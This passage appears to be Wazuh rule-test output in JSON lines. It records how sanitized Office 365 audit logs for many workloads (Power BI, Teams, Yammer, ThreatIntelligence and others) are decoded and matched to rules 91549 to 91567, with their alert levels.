"{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeAggregatedOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"19\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "19", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeAggregatedOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91549", "level": "3", "expected_decoder": "json", "expected_rule": "91549", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeAggregatedOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"PowerBIAudit\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"20\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "20", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "PowerBIAudit"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91550", "level": "3", "expected_decoder": "json", "expected_rule": "91550", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PowerBIAudit"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"CRM\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"21\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "21", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "CRM"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91551", "level": "3", "expected_decoder": "json", "expected_rule": "91551", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CRM"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Yammer\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"22\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "22", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Yammer"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91552", "level": "3", "expected_decoder": "json", "expected_rule": "91552", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Yammer"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SkypeForBusinessCmdlets\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"23\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "23", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SkypeForBusinessCmdlets"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91553", "level": "3", "expected_decoder": "json", "expected_rule": "91553", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SkypeForBusinessCmdlets"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Discovery\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"24\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "24", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Discovery"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91554", "level": "5", "expected_decoder": "json", "expected_rule": "91554", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Discovery"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftTeams\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"25\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "25", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftTeams"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91555", "level": "3", "expected_decoder": "json", "expected_rule": "91555", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftTeams"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ThreatIntelligence\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"28\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "28", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ThreatIntelligence"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91556", "level": "12", "expected_decoder": "json", "expected_rule": "91556", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ThreatIntelligence"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MailSubmission\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"29\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "29", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MailSubmission"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91557", "level": "5", "expected_decoder": "json", "expected_rule": "91557", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MailSubmission"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftFlow\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"30\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "30", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftFlow"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91558", "level": "3", "expected_decoder": "json", "expected_rule": "91558", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftFlow"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AeD\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"31\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "31", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AeD"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91559", "level": "3", "expected_decoder": "json", "expected_rule": "91559", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AeD"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MicrosoftStream\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"32\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "32", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MicrosoftStream"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91560", "level": "3", "expected_decoder": "json", "expected_rule": "91560", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MicrosoftStream"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ComplianceDLPSharePointClassification\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"33\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "33", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ComplianceDLPSharePointClassification"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91561", "level": "3", "expected_decoder": "json", "expected_rule": "91561", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ComplianceDLPSharePointClassification"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ThreatFinder\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"34\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "34", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ThreatFinder"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91562", "level": "5", "expected_decoder": "json", "expected_rule": "91562", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ThreatFinder"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Project\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"35\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "35", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Project"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91563", "level": "3", "expected_decoder": "json", "expected_rule": "91563", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Project"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointListOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"36\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "36", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointListOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91564", "level": "3", "expected_decoder": "json", "expected_rule": "91564", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointListOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointCommentOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"37\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "37", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointCommentOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91565", "level": "3", "expected_decoder": "json", "expected_rule": "91565", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointCommentOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"DataGovernance\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"38\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "38", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "DataGovernance"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91566", "level": "5", "expected_decoder": "json", "expected_rule": "91566", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 DataGovernance"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Kaizala\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"39\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "39", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Kaizala"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91567", "level": "3", "expected_decoder": "json", "expected_rule": "91567", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Kaizala"} +{"log": 